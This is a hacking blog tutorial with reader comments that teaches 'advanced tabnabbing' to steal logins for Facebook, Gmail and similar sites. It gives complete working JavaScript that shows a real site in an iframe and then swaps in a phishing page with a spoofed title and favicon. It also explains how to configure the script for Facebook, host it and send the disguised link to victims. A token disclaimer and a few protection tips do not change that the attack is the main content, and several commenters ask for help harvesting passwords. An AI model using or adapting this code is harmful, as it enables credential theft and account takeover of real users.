Advanced Tabnabbing Tutorial HackingLoops

Hey friends, today i am going to How to Hack emails, social networking websites and other websites involving login information. The technique that i am going to teach you today is Advanced Tabnabbing. I have already explained what is basic tabnabbing today we will extend our knowledge base, i will explain things with practical example. So lets learn..
Advanced Tabnabbing, Hack Facebook, Gmail, Yahoo , Hotmail etc
Advanced Tabnabbing Tutorial
I will explain this tutorial  using attack scenario and live example and how to protect yourself from such stuff.
Let consider a attack scenario:
1. A hacker say(me Lokesh) customizes current webpage by editing/adding some new parameters and variables.( check the code below for details)
2. I (Lokesh) sends a copy of this web page to victim whose account or whatever i want to hack.
3. Now when user opens that link, a webpage similar to this one will open in iframe containing the real page with the help of java script.
4. The user will be able to browse the website like the original one, like forward backward and can navigate through pages.
5. Now if victim left the new webpage open for certain period of time, the tab or website will change to Phish Page or simply called fake page which will look absolutely similarly to original one.
6. Now when user enter his/her credentials (username/password), he is entering that in Fake page and got trapped in our net that i have laid down to hack him.
Here end's the attack scenario for advanced tabnabbing.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do.  Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 10 years of imprisonment, if got caught in doing so.

Before coding Part lets first share tips to protect yourself from this kind of attack because its completely undetectable and you will never be able to know that your account is got hacked or got compromised. So first learn how to protect our-self from Advanced Tabnabbing.

Follow below measure to protect yourself from Tabnabbing:
1. Always use anti-java script plugin's in your web browser that stops execution of malicious javascripts. For example: Noscript for Firefox etc.
2. If you notice any suspicious things happening, then first of all verify the URL in the address bar.
3. If you receive any link in the Email or chat message, never directly click on it. Always prefer to type it manually in address bar to open it, this may cost you some manual work or time but it will protect you from hidden malicious URL's.
4. Best way is to use any good web security toolbar like AVG web toolbar or Norton web security toolbar to protect yourself from such attacks.
5. If you use ideveloper or Firebug, then verify the headers by yourself if you find something suspicious.

That ends our security Part. Here ends my ethical hacker duty to notify all users about the attack. Now lets start the real stuff..

Note: Aza Raskin was the first person to propose the technique of tabnabbing and still we follow the same concept. I will just extend his concept to next level.

First sample code for doing tabnabbing with the help of iframes:
 <!--
Title: Advanced Tabnabbing using IFRAMES and Java script
Author: De$trUcTiVe M!ND (lokesh@hackingloops.com)
Website: http://www.hackingloops.com
Version:1.6
-->

<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://www.google.com/"; //This is the "Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.hackingloops.com"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "HackingLoops| Next Generation Hackers Portal"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon.  It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.hackingloops.com/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in Internet Explorer (after tab changes to fake tab).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";

//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
 BROWSER_TYPE = "Internet Explorer";
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;

//Set FAVICON
if(REAL_FAVICON){
 var link = document.createElement('link');
 link.type = 'image/x-icon';
 link.rel = 'shortcut icon';
 link.href = REAL_FAVICON;
 document.getElementsByTagName('head')[0].appendChild(link);
}

//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);

//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();

//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser
 el_tabnab.onblur = function(){
 TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
 }
 el_tabnab.onfocus= function(){
 if(TIMER) clearTimeout(TIMER);
 }
} else {
 setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}

function TabNabIt(){
 if(SWITCHED == "false"){
 //Redirect the iframe to FAKE_PAGE_URL
 el_tabnab.src=FAKE_PAGE_URL;
 //Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON
 if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;

 //Change the favicon -- This doesn't seem to work in IE
 if(BROWSER_TYPE != "Internet Explorer"){
 var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
 for (var i=0; i<links.length; i++) {
 var looplink = links[i];
 if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
 document.getElementsByTagName("head")[0].removeChild(looplink);
 }
 }
 var link = document.createElement("link");
 link.type = "image/x-icon";
 link.rel = "shortcut icon";
 link.href = FAKE_FAVICON;
 document.getElementsByTagName("head")[0].appendChild(link);
 }
 }
}
</script>

</body>
</html>

Now what you need to replace in this code to make it working say for Facebook:
1. REAL_PAGE_URL : www.facebook.com
2. REAL_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
3. FAKE_PAGE_URL : Your Fake Page or Phish Page URL
4. FAKE_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
5. REAL_FAVICON : www.facebook.com/favicon.ico
6. FAKE_FAVICON : Your Fake Page URL/favicon.ico ( Note: Its better to upload the facebook favicon, it will make it more undetectable)
7. BROWSER_TYPE : Find which web browser normally user uses and put that name here in quotes.
8. TIME_TO_SWITCH_IE : Put numeric value (time) after you want tab to switch.
9. TIME_TO_SWITCH_OTHERS : Time after which you want to switch back to original 'real' page or some other Page.

Now as i have explained earlier you can use this technique to hack anything like email accounts, Facebook or any other social networking website. What you need to do is that just edit the above mentioned 9 fields and save it as anyname.htm and upload it any free web hosting website along with favicon file and send the link to user in form of email or chat message ( hidden using href keyword in html or spoofed using some other technique).

That's all for today. I hope you all enjoyed some advanced stuff. If you have any doubts or queries ask me in form of comments.
A comment of appreciation will do the work..

19 comments:

  1. if i upload anyname.htm and favicon.ico file upload in webhosting site then sir where is password file. means i totallly not understand this method please fully describe detally where is the .php file html txt bla bla.......

    ReplyDelete
  2. thanks for the trick but can you explain the tricks using wireshark, cuz we have to replace cookies in that...

    ReplyDelete
  3. @Anonoymous 1

    We need to upload the Phish Pages to some free web hosting website, then only we will be able to get the link of fake page or Phish Page.. Thanks for pointing out, i forgot to include that. Use can use phisher that i provided you in my previous post.

    ReplyDelete
    Replies
    1. You cant do it because now all the webhosting servers have a filtering mechanism inorder to scan and filter the phishing page scrits on the ftp server, so dont waste your time with this type of phish friends...
      - White hat Hacker

      Delete
  4. i want to hack an account without phishing is it possible?

    ReplyDelete
  5. Nice...as always awesome work bro.

    Please Explain:

    ( hidden using href keyword in html or spoofed using some other technique)
    yeah...when ever i send link in gmail (goes to scam).....in FB chat(gives warning on click).....how to work around this Please Expain....which servive to use compatible with FB and Gmail...to make look links genuine...as www.facebook.com...etc

    ReplyDelete
  6. Also, Please Post a Video as always for this, will be highly appreciated.

    ReplyDelete
  7. i don't understand this method

    pls fully describe this method

    ReplyDelete
  8. which are the free web hosting sites?

    ReplyDelete
  9. plz send me video tutorial for this work
    send to my mail lsuri599@gmail.com

    ReplyDelete
  10. any one can give free web hosting side

    ReplyDelete
  11. hai bro, i am a big fan of u, my name is gowtham, i my ultimate aim is to become a hacker,, i dont knw i can reach u r not, i want to be ur student atleast for a day,, it will give me boost up the things,, and most probably i am new to hacking , actually i dont knw minimum basics at all, could u pls help me on that, here is my mail id gowthamkumar.1432@gmail.com and i have a small doubt, if the user types his user name and pasword how can we get those things to our concern , i didnt under stand this ,, for a long time could u help on this,, if u read this thanks a lot for this,, if u not read it i thought its my fate,, thank u bro

    ReplyDelete
  12. hey bro how to use the phisher to create fake page ?yet i have downloaded it

    ReplyDelete
  13. Hi guys
    When I open anyname.htm in the webhosting server show me this :
    "In order to facilitate the security of information you enter into this website, the author of the content does not allow the display in a frame."
    What 's mean ? what' s the solution ?
    Thanks

    ReplyDelete
  14. Please can you help me my ex keeps hackin my accounts its so draining ect could u get in touch with me and could you help me pls. This been happenin for nearly a yr.

    ReplyDelete

Please do not spam.

Copyright © 2012 Learn How to Hack - Best Online Ethical Hacking Website All Right Reserved
Designed by Hackingloops.